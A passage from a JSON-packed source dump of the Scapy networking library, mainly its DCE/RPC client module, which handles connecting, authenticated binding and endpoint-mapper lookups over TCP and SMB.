),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nWKSSVC_OPNUMS = {\n    0: DceRpcOp(NetrWkstaGetInfo_Request, NetrWkstaGetInfo_Response),\n    # 3: Opnum3NotUsedOnWire,\n    # 4: Opnum4NotUsedOnWire,\n    # 12: Opnum12NotUsedOnWire,\n    # 14: Opnum14NotUsedOnWire,\n    # 15: Opnum15NotUsedOnWire,\n    # 16: Opnum16NotUsedOnWire,\n    # 17: Opnum17NotUsedOnWire,\n    # 18: Opnum18NotUsedOnWire,\n    # 19: Opnum19NotUsedOnWire,\n    # 21: Opnum21NotUsedOnWire,\n    30: DceRpcOp(\n        NetrEnumerateComputerNames_Request, NetrEnumerateComputerNames_Response\n    ),\n}\nregister_dcerpc_interface(\n    name=\"wkssvc\",\n    uuid=uuid.UUID(\"6BFFD098-A112-3610-9833-46C3F87E345A\"),\n    version=\"1.0\",\n    opnums=WKSSVC_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/rpcclient.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nDCE/RPC client as per [MS-RPCE]\n\"\"\"\n\nimport collections\nimport uuid\nimport socket\n\nfrom scapy.config import conf\nfrom scapy.error import log_runtime\n\nfrom scapy.layers.dcerpc import (\n    _DCE_RPC_ERROR_CODES,\n    ComInterface,\n    CommonAuthVerifier,\n    DCE_C_AUTHN_LEVEL,\n    DCERPC_Transport,\n    DceRpc5,\n    DceRpc5AbstractSyntax,\n    DceRpc5AlterContext,\n    DceRpc5AlterContextResp,\n    DceRpc5Auth3,\n    DceRpc5Bind,\n    DceRpc5BindAck,\n    DceRpc5BindNak,\n    DceRpc5Context,\n    DceRpc5Fault,\n    DceRpc5Request,\n    DceRpc5Response,\n    DceRpc5TransferSyntax,\n    DceRpcInterface,\n    DceRpcSecVT,\n    DceRpcSecVTCommand,\n    DceRpcSecVTPcontext,\n    DceRpcSession,\n    DceRpcSocket,\n    find_dcerpc_interface,\n    NDRContextHandle,\n    NDRPointer,\n    RPC_C_IMP_LEVEL,\n)\nfrom scapy.layers.gssapi import (\n    SSP,\n    GSS_S_FAILURE,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_C_FLAGS,\n)\nfrom scapy.layers.smbclient import (\n    SMB_RPC_SOCKET,\n)\nfrom scapy.layers.windows.erref import STATUS_ERREF\n\n# RPC\nfrom scapy.layers.msrpce.ept import (\n    ept_map_Request,\n    ept_map_Response,\n    twr_p_t,\n    protocol_tower_t,\n    prot_and_addr_t,\n    UUID,\n)\n\n# Typing\nfrom typing import (\n    Optional,\n    Union,\n)\n\n\nclass DCERPC_Client(object):\n    \"\"\"\n    A basic DCE/RPC client\n\n    :param transport: the transport to use.\n    :param ndr64: should ask for NDR64 when binding (default conf.ndr64)\n    :param ndrendian: the endianness to use (default little)\n    :param verb: enable verbose logging (default True)\n    :param auth_level: the DCE_C_AUTHN_LEVEL to use\n    :param impersonation_type: the RPC_C_IMP_LEVEL to use\n    \"\"\"\n\n    def __init__(\n        self,\n        transport: DCERPC_Transport,\n        ndr64: Optional[bool] = None,\n        ndrendian: str = \"little\",\n        verb: bool = True,\n        auth_level: Optional[DCE_C_AUTHN_LEVEL] = None,\n        impersonation_type: RPC_C_IMP_LEVEL = RPC_C_IMP_LEVEL.DEFAULT,\n        **kwargs,\n    ):\n        self.sock = None\n        self.transport = transport\n        assert isinstance(\n            transport, DCERPC_Transport\n        ), \"transport must be from DCERPC_Transport\"\n\n        # Counters\n        self.call_ids = collections.defaultdict(lambda: 0)  # by assoc_group_id\n        self.next_cont_id = 0  # next available context id\n        self.next_auth_contex_id = 0  # next available auth context id\n\n        # Session parameters\n        if ndr64 is None:\n            ndr64 = conf.ndr64\n        self.ndr64: bool = ndr64\n        self.ndrendian = ndrendian\n        self.verb = verb\n        self.host: str = None\n        self.port: int = -1\n        self.ssp = kwargs.pop(\"ssp\", None)  # type: SSP\n        self.sspcontext = None\n        if auth_level is not None:\n            self.auth_level = auth_level\n        elif self.ssp is not None:\n            self.auth_level = DCE_C_AUTHN_LEVEL.CONNECT\n        else:\n            self.auth_level = DCE_C_AUTHN_LEVEL.NONE\n        if impersonation_type == RPC_C_IMP_LEVEL.DEFAULT:\n            # Same default as windows\n            impersonation_type = RPC_C_IMP_LEVEL.IDENTIFY\n        self.impersonation_type = impersonation_type\n        self._first_time_on_interface = True\n        self.contexts = {}\n        self.dcesockargs = kwargs\n        self.dcesockargs[\"transport\"] = self.transport\n\n    @classmethod\n    def from_smblink(cls, smbcli, smb_kwargs={}, **kwargs):\n        \"\"\"\n        Build a DCERPC_Client from a SMB_Client.smblink directly\n        \"\"\"\n        client = DCERPC_Client(DCERPC_Transport.NCACN_NP, **kwargs)\n        sock = client.smbrpcsock = SMB_RPC_SOCKET(smbcli, **smb_kwargs)\n        client.sock = DceRpcSocket(\n            sock,\n            DceRpc5,\n            ssp=client.ssp,\n            auth_level=client.auth_level,\n            **client.dcesockargs,\n        )\n        return client\n\n    @property\n    def session(self) -> DceRpcSession:\n        try:\n            return self.sock.session\n        except AttributeError:\n            raise ValueError(\"Client is not connected ! Please connect()\")\n\n    def connect(\n        self,\n        host,\n        endpoint: Union[int, str] = None,\n        port: Optional[int] = None,\n        interface=None,\n        timeout=5,\n        smb_kwargs={},\n    ):\n        \"\"\"\n        Initiate a connection.\n\n        :param host: the host to connect to\n        :param endpoint: (optional) the port/smb pipe to connect to\n        :param interface: (optional) if endpoint isn't provided, uses the endpoint\n            mapper to find the appropriate endpoint for that interface.\n        :param timeout: (optional) the connection timeout (default 5)\n        :param port: (optional) the port to connect to. (useful for SMB)\n        \"\"\"\n        smb_kwargs.setdefault(\"HOST\", host)\n        if endpoint is None and interface is not None:\n            # Figure out the endpoint using the endpoint mapper\n\n            if self.transport == DCERPC_Transport.NCACN_IP_TCP and port is None:\n                # IP/TCP\n                # ask the endpoint mapper (port 135) for the IP:PORT\n                endpoints = get_endpoint(\n                    host,\n                    interface,\n                    ndrendian=self.ndrendian,\n                    verb=self.verb,\n                )\n                if endpoints:\n                    _, endpoint = endpoints[0]\n                else:\n                    raise ValueError(\n                        \"Could not find an available endpoint for that interface !\"\n                    )\n            elif self.transport == DCERPC_Transport.NCACN_NP:\n                # SMB\n                # ask the endpoint mapper (over SMB) for the namedpipe\n                endpoints = get_endpoint(\n                    host,\n                    interface,\n                    transport=self.transport,\n                    ndrendian=self.ndrendian,\n                    verb=self.verb,\n                    ssp=self.ssp,\n                    smb_kwargs=smb_kwargs,\n                )\n                if endpoints:\n                    endpoint = endpoints[0].lstrip(\"\\\\pipe\\\\\")\n                else:\n                    return\n\n        # Assign the default port if no port is provided\n        if port is None:\n            if self.transport == DCERPC_Transport.NCACN_IP_TCP:  # IP/TCP\n                port = endpoint or 135\n            elif self.transport == DCERPC_Transport.NCACN_NP:  # SMB\n                port = 445\n            else:\n                raise ValueError(\n                    \"Can't guess the port for transport: %s\" % self.transport\n                )\n\n        # Start socket and connect\n        self.host = host\n        self.port = port\n        sock = socket.socket()\n        sock.settimeout(timeout)\n        if self.verb:\n            print(\n                \"\\u2503 Connecting to %s on port %s via %s...\"\n                % (host, port, repr(self.transport))\n            )\n        sock.connect((host, port))\n        if self.verb:\n            print(\n                conf.color_theme.green(\n                    \"\\u2514 Connected from %s\" % repr(sock.getsockname())\n                )\n            )\n\n        if self.transport == DCERPC_Transport.NCACN_NP:  # SMB\n            # We pack the socket into a SMB_RPC_SOCKET\n            sock = self.smbrpcsock = SMB_RPC_SOCKET.from_tcpsock(\n                sock, ssp=self.ssp, **smb_kwargs\n            )\n\n            # If the endpoint is provided, connect to it.\n            if endpoint is not None:\n                self.open_smbpipe(endpoint)\n\n            self.sock = DceRpcSocket(sock, DceRpc5, **self.dcesockargs)\n        elif self.transport == DCERPC_Transport.NCACN_IP_TCP:\n            self.sock = DceRpcSocket(\n                sock,\n                DceRpc5,\n                ssp=self.ssp,\n                auth_level=self.auth_level,\n                **self.dcesockargs,\n            )\n\n    def close(self):\n        \"\"\"\n        Close the DCE/RPC client.\n        \"\"\"\n        if self.verb:\n            print(\"X Connection closed\\n\")\n        self.sock.close()\n\n    def sr1(self, pkt, **kwargs):\n        \"\"\"\n        Send/Receive a DCE/RPC message.\n\n        The DCE/RPC header is added automatically.\n        \"\"\"\n        self.call_ids[self.session.assoc_group_id] += 1\n        pkt = (\n            DceRpc5(\n                call_id=self.call_ids[self.session.assoc_group_id],\n                pfc_flags=\"PFC_FIRST_FRAG+PFC_LAST_FRAG\",\n                endian=self.ndrendian,\n                auth_verifier=kwargs.pop(\"auth_verifier\", None),\n                vt_trailer=kwargs.pop(\"vt_trailer\", None),\n            )\n            / pkt\n        )\n        if \"pfc_flags\" in kwargs:\n            pkt.pfc_flags = kwargs.pop(\"pfc_flags\")\n        if \"objectuuid\" in kwargs:\n            pkt.pfc_flags += \"PFC_OBJECT_UUID\"\n            pkt.object = kwargs.pop(\"objectuuid\")\n        return self.sock.sr1(pkt, verbose=0, **kwargs)\n\n    def send(self, pkt, **kwargs):\n        \"\"\"\n        Send a DCE/RPC message.\n\n        The DCE/RPC header is added automatically.\n        \"\"\"\n        self.call_ids[self.session.assoc_group_id] += 1\n        pkt = (\n            DceRpc5(\n                call_id=self.call_ids[self.session.assoc_group_id],\n                pfc_flags=\"PFC_FIRST_FRAG+PFC_LAST_FRAG\",\n                endian=self.ndrendian,\n                auth_verifier=kwargs.pop(\"auth_verifier\", None),\n                vt_trailer=kwargs.pop(\"vt_trailer\", None),\n            )\n            / pkt\n        )\n        if \"pfc_flags\" in kwargs:\n            pkt.pfc_flags = kwargs.pop(\"pfc_flags\")\n        if \"objectuuid\" in kwargs:\n            pkt.pfc_flags += \"PFC_OBJECT_UUID\"\n            pkt.object = kwargs.pop(\"objectuuid\")\n        return self.sock.send(pkt, **kwargs)\n\n    def sr1_req(self, pkt, **kwargs):\n        \"\"\"\n        Send/Receive a DCE/RPC request.\n\n        :param pkt: the inner DCE/RPC message, without any header.\n        \"\"\"\n        if self.verb:\n            if \"objectuuid\" in kwargs:\n                # COM\n                print(\n                    conf.color_theme.opening(\n                        \">> REQUEST (COM): %s\" % pkt.payload.__class__.__name__\n                    )\n                )\n            else:\n                print(\n                    conf.color_theme.opening(\">> REQUEST: %s\" % pkt.__class__.__name__)\n                )\n\n        # Add sectrailer if first time talking on this interface\n        vt_trailer = b\"\"\n        if (\n            self._first_time_on_interface\n            and self.transport != DCERPC_Transport.NCACN_NP\n        ):\n            # In the first request after a bind, Windows sends a trailer to verify\n            # that the negotiated transfer/interface wasn't altered.\n            self._first_time_on_interface = False\n            vt_trailer = DceRpcSecVT(\n                commands=[\n                    DceRpcSecVTCommand(SEC_VT_COMMAND_END=1)\n                    / DceRpcSecVTPcontext(\n                        InterfaceId=self.session.rpc_bind_interface.uuid,\n                        Version=self.session.rpc_bind_interface.if_version,\n                        TransferSyntax=\"NDR64\" if self.ndr64 else \"NDR 2.0\",\n                        TransferVersion=1 if self.ndr64 else 2,\n                    )\n                ]\n            )\n\n        # Optional: force opnum\n        opnum = {}\n        if \"opnum\" in kwargs:\n            opnum[\"opnum\"] = kwargs.pop(\"opnum\")\n\n        # Set NDR64\n        pkt.ndr64 = self.ndr64\n\n        # Send/receive\n        resp = self.sr1(\n            DceRpc5Request(\n                cont_id=self.session.cont_id,\n                alloc_hint=len(pkt) + len(vt_trailer),\n                **opnum,\n            )\n            / pkt,\n            vt_trailer=vt_trailer,\n            **kwargs,\n        )\n\n        # Parse result\n        result = None\n        if DceRpc5Response in resp:\n            if self.verb:\n                if \"objectuuid\" in kwargs:\n                    # COM\n                    print(\n                        conf.color_theme.success(\n                            \"<< RESPONSE (COM): %s\"\n                            % (resp[DceRpc5Response].payload.payload.__class__.__name__)\n                        )\n                    )\n                else:\n                    print(\n                        conf.color_theme.success(\n                            \"<< RESPONSE: %s\"\n                            % (resp[DceRpc5Response].payload.__class__.__name__)\n                        )\n                    )\n            result = resp[DceRpc5Response].payload\n        elif DceRpc5Fault in resp:\n            if self.verb:\n                print(conf.color_theme.success(\"<< FAULT\"))\n                # If [MS-EERR] is loaded, show the extended info\n                if resp[DceRpc5Fault].payload and not isinstance(\n                    resp[DceRpc5Fault].payload, conf.raw_layer\n                ):\n                    resp[DceRpc5Fault].payload.show()\n            result = resp\n\n        if self.verb and getattr(resp, \"status\", 0) != 0:\n            if resp.status in _DCE_RPC_ERROR_CODES:\n                print(conf.color_theme.fail(f\"! {_DCE_RPC_ERROR_CODES[resp.status]}\"))\n            elif resp.status in STATUS_ERREF:\n                print(conf.color_theme.fail(f\"! {STATUS_ERREF[resp.status]}\"))\n            else:\n                print(conf.color_theme.fail(\"! Failure\"))\n                resp.show()\n        return result\n\n    def _get_bind_context(self, interface):\n        \"\"\"\n        Internal: get the bind DCE/RPC context.\n        \"\"\"\n        if interface in self.contexts:\n            # We have already found acceptable contexts for this interface,\n            # reuse that.\n            return self.contexts[interface]\n\n        # NDR 2.0\n        contexts = [\n            DceRpc5Context(\n                cont_id=self.next_cont_id,\n                abstract_syntax=DceRpc5AbstractSyntax(\n                    if_uuid=interface.uuid,\n                    if_version=interface.if_version,\n                ),\n                transfer_syntaxes=[\n                    DceRpc5TransferSyntax(\n                        # NDR 2.0 32-bit\n                        if_uuid=\"NDR 2.0\",\n                        if_version=2,\n                    )\n                ],\n            ),\n        ]\n        self.next_cont_id += 1\n\n        # NDR64\n        if self.ndr64:\n            contexts.append(\n                DceRpc5Context(\n                    cont_id=self.next_cont_id,\n                    abstract_syntax=DceRpc5AbstractSyntax(\n                        if_uuid=interface.uuid,\n                        if_version=interface.if_version,\n                    ),\n                    transfer_syntaxes=[\n                        DceRpc5TransferSyntax(\n                            # NDR64\n                            if_uuid=\"NDR64\",\n                            if_version=1,\n                        )\n                    ],\n                )\n            )\n            self.next_cont_id += 1\n\n        # BindTimeFeatureNegotiationBitmask\n        contexts.append(\n            DceRpc5Context(\n                cont_id=self.next_cont_id,\n                abstract_syntax=DceRpc5AbstractSyntax(\n                    if_uuid=interface.uuid,\n                    if_version=interface.if_version,\n                ),\n                transfer_syntaxes=[\n                    DceRpc5TransferSyntax(\n                        if_uuid=uuid.UUID(\"6cb71c2c-9812-4540-0300-000000000000\"),\n                        if_version=1,\n                    )\n                ],\n            )\n        )\n        self.next_cont_id += 1\n\n        # Store contexts for this interface\n        self.contexts[interface] = contexts\n\n        return contexts\n\n    def _check_bind_context(self, interface, contexts) -> bool:\n        \"\"\"\n        Internal: check the answer DCE/RPC bind context, and update them.\n        \"\"\"\n        for i, ctx in enumerate(contexts):\n            if ctx.result == 0:\n                # Context was accepted. Remove all others from cache\n                if len(self.contexts[interface]) != 1:\n                    self.contexts[interface] = [self.contexts[interface][i]]\n                return True\n\n        return False\n\n    def _bind(\n        self,\n        interface: Union[DceRpcInterface, ComInterface],\n        reqcls,\n        respcls,\n        target_name: Optional[str] = None,\n    ) -> bool:\n        \"\"\"\n        Internal: used to send a bind/alter request\n        \"\"\"\n        # Build a security context: [MS-RPCE] 3.3.1.5.2\n        if self.verb:\n            print(\n                conf.color_theme.opening(\n                    \">> %s on %s\" % (reqcls.__name__, interface)\n                    + (\" (with %s)\" % self.ssp.__class__.__name__ if self.ssp else \"\")\n                )\n            )\n\n        # Do we need an authenticated bind\n        if not self.ssp or (\n            self.sspcontext is not None\n            or self.transport == DCERPC_Transport.NCACN_NP\n            and self.auth_level < DCE_C_AUTHN_LEVEL.PKT_INTEGRITY\n        ):\n            # NCACN_NP = SMB without INTEGRITY/PRIVACY does not bind the RPC securely,\n            # again as it has already authenticated during the SMB Session Setup\n            resp = self.sr1(\n                reqcls(context_elem=self._get_bind_context(interface)),\n                auth_verifier=None,\n            )\n            status = GSS_S_COMPLETE\n        else:\n            # Perform authentication\n            self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                self.sspcontext,\n                req_flags=(\n                    # SSPs need to be instantiated with some special flags\n                    # for DCE/RPC usages.\n                    GSS_C_FLAGS.GSS_C_DCE_STYLE\n                    | GSS_C_FLAGS.GSS_C_REPLAY_FLAG\n                    | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG\n                    | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG\n                    | (\n                        GSS_C_FLAGS.GSS_C_INTEG_FLAG\n                        if self.auth_level >= DCE_C_AUTHN_LEVEL.PKT_INTEGRITY\n                        else 0\n                    )\n                    | (\n                        GSS_C_FLAGS.GSS_C_CONF_FLAG\n                        if self.auth_level >= DCE_C_AUTHN_LEVEL.PKT_PRIVACY\n                        else 0\n                    )\n                    | (\n                        GSS_C_FLAGS.GSS_C_IDENTIFY_FLAG\n                        if self.impersonation_type <= RPC_C_IMP_LEVEL.IDENTIFY\n                        else 0\n                    )\n                    | (\n                        GSS_C_FLAGS.GSS_C_DELEG_FLAG\n                        if self.impersonation_type == RPC_C_IMP_LEVEL.DELEGATE\n                        else 0\n                    )\n                ),\n                target_name=target_name or (\"host/\" + self.host),\n            )\n\n            if status not in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]:\n                # Authentication failed.\n                self.sspcontext.clifailure()\n                return False\n\n            resp = self.sr1(\n                reqcls(context_elem=self._get_bind_context(interface)),\n                auth_verifier=(\n                    None\n                    if not self.sspcontext\n                    else CommonAuthVerifier(\n                        auth_type=self.ssp.auth_type,\n                        auth_level=self.auth_level,\n                        auth_context_id=self.session.auth_context_id,\n                        auth_value=token,\n                    )\n                ),\n                pfc_flags=(\n                    \"PFC_FIRST_FRAG+PFC_LAST_FRAG\"\n                    + (\n                        # If the SSP supports \"Header Signing\", advertise it\n                        \"+PFC_SUPPORT_HEADER_SIGN\"\n                        if self.ssp is not None and self.session.support_header_signing\n                        else \"\"\n                    )\n                ),\n            )\n\n            # Check that the answer looks valid and contexts were accepted\n            if respcls not in resp or not self._check_bind_context(\n                interface, resp.results\n            ):\n                token = None\n                status = GSS_S_FAILURE\n            else:\n                # Call the underlying SSP\n                self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                    self.sspcontext,\n                    input_token=resp.auth_verifier.auth_value,\n                    target_name=target_name or (\"host/\" + self.host),\n                )\n\n            if status in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]:\n                # Authentication should continue, in two ways:\n                # - through DceRpc5Auth3 (e.g. NTLM)\n                # - through DceRpc5AlterContext (e.g. Kerberos)\n                if token and self.ssp.LegsAmount(self.sspcontext) % 2 == 1:\n                    # AUTH 3 for certain SSPs (e.g. NTLM)\n                    # \"The server MUST NOT respond to an rpc_auth_3 PDU\"\n                    self.send(\n                        DceRpc5Auth3(),\n                        auth_verifier=CommonAuthVerifier(\n                            auth_type=self.ssp.auth_type,\n                            auth_level=self.auth_level,\n                            auth_context_id=self.session.auth_context_id,\n                            auth_value=token,\n                        ),\n                    )\n                    status = GSS_S_COMPLETE\n                else:\n                    while token:\n                        respcls = DceRpc5AlterContextResp\n                        resp = self.sr1(\n                            DceRpc5AlterContext(\n                                context_elem=self._get_bind_context(interface)\n                            ),\n                            auth_verifier=CommonAuthVerifier(\n                                auth_type=self.ssp.auth_type,\n                                auth_level=self.auth_level,\n                                auth_context_id=self.session.auth_context_id,\n                                auth_value=token,\n                            ),\n                        )\n                        if respcls not in resp:\n                            status = GSS_S_FAILURE\n                            break\n                        if resp.auth_verifier is None:\n                            status = GSS_S_COMPLETE\n                            break\n                        self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                            self.sspcontext,\n                            input_token=resp.auth_verifier.auth_value,\n                            target_name=target_name or (\"host/\" + self.host),\n                        )\n            else:\n                log_runtime.error(\"GSS_Init_sec_context failed with %s !\" % status)\n\n        # Check context acceptance\n        if (\n            status == GSS_S_COMPLETE\n            and respcls in resp\n            and self._check_bind_context(interface, resp.results)\n        ):\n            port = resp.sec_addr.port_spec.decode()\n            ndr = self.session.ndr64 and \"NDR64\" or \"NDR32\"\n            self.ndr64 = self.session.ndr64\n            if self.verb:\n                print(\n                    conf.color_theme.success(\n                        f\"<< {respcls.__name__} port '{port}' using {ndr}\"\n                    )\n                )\n            self.session.sspcontext = self.sspcontext\n            self._first_time_on_interface = True\n            return True\n        else:\n            if self.verb:\n                if DceRpc5BindNak in resp:\n                    err_msg = resp.sprintf(\n                        \"reject_reason: %DceRpc5BindNak.provider_reject_reason%\"\n                    )\n                    print(conf.color_theme.fail(\"! Bind_nak (%s)\" % err_msg))\n                    if DceRpc5BindNak in resp:\n                        if resp[DceRpc5BindNak].payload and not isinstance(\n                            resp[DceRpc5BindNak].payload, conf.raw_layer\n                        ):\n                            resp[DceRpc5BindNak].payload.show()\n                elif DceRpc5Fault in resp:\n                    if getattr(resp, \"status\", 0) != 0:\n                        if resp.status in _DCE_RPC_ERROR_CODES:\n                            print(\n                                conf.color_theme.fail(\n                                    f\"! {_DCE_RPC_ERROR_CODES[resp.status]}\"\n                                )\n                            )\n                        elif resp.status in STATUS_ERREF:\n                            print(\n                                conf.color_theme.fail(f\"! {STATUS_ERREF[resp.status]}\")\n                            )\n                        else:\n                            print(conf.color_theme.fail(\"! Failure\"))\n                            resp.show()\n                    if resp[DceRpc5Fault].payload and not isinstance(\n                        resp[DceRpc5Fault].payload, conf.raw_layer\n                    ):\n                        resp[DceRpc5Fault].payload.show()\n                else:\n                    print(conf.color_theme.fail(\"! Failure\"))\n                    resp.show()\n            return False\n\n    def bind(\n        self,\n        interface: Union[DceRpcInterface, ComInterface],\n        target_name: Optional[str] = None,\n    ) -> bool:\n        \"\"\"\n        Bind the client to an interface\n\n        :param interface: the DceRpcInterface object\n        \"\"\"\n        return self._bind(\n            interface,\n            DceRpc5Bind,\n            DceRpc5BindAck,\n            target_name=target_name,\n        )\n\n    def alter_context(\n        self,\n        interface: Union[DceRpcInterface, ComInterface],\n        target_name: Optional[str] = None,\n    ) -> bool:\n        \"\"\"\n        Alter context: post-bind context negotiation\n\n        :param interface: the DceRpcInterface object\n        \"\"\"\n        return self._bind(\n            interface,\n            DceRpc5AlterContext,\n            DceRpc5AlterContextResp,\n            target_name=target_name,\n        )\n\n    def bind_or_alter(\n        self,\n        interface: Union[DceRpcInterface, ComInterface],\n        target_name: Optional[str] = None,\n    ) -> bool:\n        \"\"\"\n        Bind the client to an interface or alter the context if already bound\n\n        :param interface: the DceRpcInterface object\n        \"\"\"\n        if not self.session.rpc_bind_interface:\n            # No interface is bound\n            return self.bind(interface, target_name=target_name)\n        elif self.session.rpc_bind_interface != interface:\n            # An interface is already bound\n            return self.alter_context(interface, target_name=target_name)\n        return True\n\n    def open_smbpipe(self, name: str):\n        \"\"\"\n        Open a certain filehandle with the SMB automaton.\n\n        :param name: the name of the pipe\n        \"\"\"\n        self.ipc_tid = self.smbrpcsock.tree_connect(\"IPC$\")\n        self.smbrpcsock.open_pipe(name)\n\n    def close_smbpipe(self):\n        \"\"\"\n        Close the previously opened pipe\n        \"\"\"\n        self.smbrpcsock.set_TID(self.ipc_tid)\n        self.smbrpcsock.close_pipe()\n        self.smbrpcsock.tree_disconnect()\n\n    def connect_and_bind(\n        self,\n        host: str,\n        interface: DceRpcInterface,\n        port: Optional[int] = None,\n        timeout: int = 5,\n        smb_kwargs={},\n    ):\n        \"\"\"\n        Asks the Endpoint Mapper what address to use to connect to the interface,\n        then uses connect() followed by a bind()\n\n        :param host: the host to connect to\n        :param interface: the DceRpcInterface object\n        :param port: (optional, NCACN_NP only) the port to connect to\n        :param timeout: (optional) the connection timeout (default 5)\n        \"\"\"\n        # Connect to the interface using the endpoint mapper\n        self.connect(\n            host=host,\n            interface=interface,\n            port=port,\n            timeout=timeout,\n            smb_kwargs=smb_kwargs,\n        )\n\n        # Bind in RPC\n        self.bind(interface)\n\n    def epm_map(self, interface):\n        \"\"\"\n        Calls ept_map (the EndPoint Manager)\n        \"\"\"\n        if self.ndr64:\n            ndr_uuid = \"NDR64\"\n            ndr_version = 1\n        else:\n            ndr_uuid = \"NDR 2.0\"\n            ndr_version = 2\n        pkt = self.sr1_req(\n            ept_map_Request(\n                obj=NDRPointer(\n                    referent_id=1,\n                    value=UUID(\n                        Data1=0,\n                        Data2=0,\n                        Data3=0,\n                        Data4=None,\n                    ),\n                ),\n                map_tower=NDRPointer(\n                    referent_id=2,\n                    value=twr_p_t(\n                        tower_octet_string=bytes(\n                            protocol_tower_t(\n                                floors=[\n                                    prot_and_addr_t(\n                                        lhs_length=19,\n                                        protocol_identifier=0xD,\n                                        uuid=interface.uuid,\n                                        version=interface.major_version,\n                                        rhs_length=2,\n                                        rhs=interface.minor_version,\n                                    ),\n                                    prot_and_addr_t(\n                                        lhs_length=19,\n                                        protocol_identifier=0xD,\n                                        uuid=ndr_uuid,\n                                        version=ndr_version,\n                                        rhs_length=2,\n                                        rhs=0,\n                                    ),\n                                    prot_and_addr_t(\n                                        lhs_length=1,\n                                        protocol_identifier=\"RPC connection-oriented protocol\",  # noqa: E501\n                                        rhs_length=2,\n                                        rhs=0,\n                                    ),\n                                    {\n                                        DCERPC_Transport.NCACN_IP_TCP: (\n                                            prot_and_addr_t(\n                                                lhs_length=1,\n                                                protocol_identifier=\"NCACN_IP_TCP\",\n                                                rhs_length=2,\n                                                rhs=135,\n                                            )\n                                        ),\n                                        DCERPC_Transport.NCACN_NP: (\n                                            prot_and_addr_t(\n                                                lhs_length=1,\n                                                protocol_identifier=\"NCACN_NP\",\n                                                rhs_length=2,\n                                                rhs=b\"0\\x00\",\n                                            )\n                                        ),\n                                    }[self.transport],\n                                    {\n                                        DCERPC_Transport.NCACN_IP_TCP: (\n                                            prot_and_addr_t(\n                                                lhs_length=1,\n                                                protocol_identifier=\"IP\",\n                                                rhs_length=4,\n                                                rhs=\"0.0.0.0\",\n                                            )\n                                        ),\n                                        DCERPC_Transport.NCACN_NP: (\n                                            prot_and_addr_t(\n                                                lhs_length=1,\n                                                protocol_identifier=\"NCACN_NB\",\n                                                rhs_length=10,\n                                                rhs=b\"127.0.0.1\\x00\",\n                                            )\n                                        ),\n                                    }[self.transport],\n                                ],\n                            )\n                        ),\n                    ),\n                ),\n                entry_handle=NDRContextHandle(\n                    attributes=0,\n                    uuid=b\"\\x00\" * 16,\n                ),\n                max_towers=500,\n                ndr64=self.ndr64,\n                ndrendian=self.ndrendian,\n            )\n        )\n        if pkt and ept_map_Response in pkt:\n            status = pkt[ept_map_Response].status\n            # [MS-RPCE] sect 2.2.1.2.5\n            if status == 0x00000000:\n                towers = [\n                    protocol_tower_t(x.value.tower_octet_string)\n                    for x in pkt[ept_map_Response].ITowers.value[0].value\n                ]\n                # Let's do some checks to know we know what we're doing\n                endpoints = []\n                for t in towers:\n                    if t.floors[0].uuid != interface.uuid:\n                        if self.verb:\n                            print(\n                                conf.color_theme.fail(\n                                    \"! Server answered with a different interface.\"\n                                )\n                            )\n                        raise ValueError\n                    if t.floors[1].sprintf(\"%uuid%\") != ndr_uuid:\n                        if self.verb:\n                            print(\n                                conf.color_theme.fail(\n                                    \"! Server answered with a different NDR version.\"\n                                )\n                            )\n                        raise ValueError\n                    if self.transport == DCERPC_Transport.NCACN_IP_TCP:\n                        endpoints.append((t.floors[4].rhs, t.floors[3].rhs))\n                    elif self.transport == DCERPC_Transport.NCACN_NP:\n                        endpoints.append(t.floors[3].rhs.rstrip(b\"\\x00\").decode())\n                return endpoints\n            elif status == 0x16C9A0D6:\n                if self.verb:\n                    print(\n                        conf.color_theme.fail(\n                            \"! Server errored: 'There are no elements that satisfy\"\n                            \" the specified search criteria'.\"\n                        )\n                    )\n                raise ValueError\n        print(conf.color_theme.fail(\"! Failure.\"))\n        if pkt:\n            pkt.show()\n        raise ValueError(\"EPM Map failed\")\n\n\ndef get_endpoint(\n    ip,\n    interface,\n    transport=DCERPC_Transport.NCACN_IP_TCP,\n    ndrendian=\"little\",\n    verb=True,\n    ssp=None,\n    smb_kwargs={},\n):\n    \"\"\"\n    Call the endpoint mapper on a remote IP to find an interface\n\n    :param ip:\n    :param interface:\n    :param mode:\n    :param verb:\n    :param ssp:\n\n    :return: a list of connection tuples for this interface\n    \"\"\"\n    client = DCERPC_Client(\n        transport,\n        # EPM only works with NDR32\n        ndr64=False,\n        ndrendian=ndrendian,\n        verb=verb,\n        ssp=ssp,\n    )\n\n    if transport == DCERPC_Transport.NCACN_IP_TCP:\n        endpoint = 135\n    elif transport == DCERPC_Transport.NCACN_NP:\n        endpoint = \"epmapper\"\n    else:\n        raise ValueError(\"Unknown transport value !\")\n\n    client.connect(ip, endpoint=endpoint, smb_kwargs=smb_kwargs)\n\n    client.bind(find_dcerpc_interface(\"ept\"))\n    try:\n        endpoints = client.epm_map(interface)\n    finally:\n        client.close()\n\n    return endpoints\n"
  },
  {
    "path": "scapy/layers/msrpce/rpcserver.py",
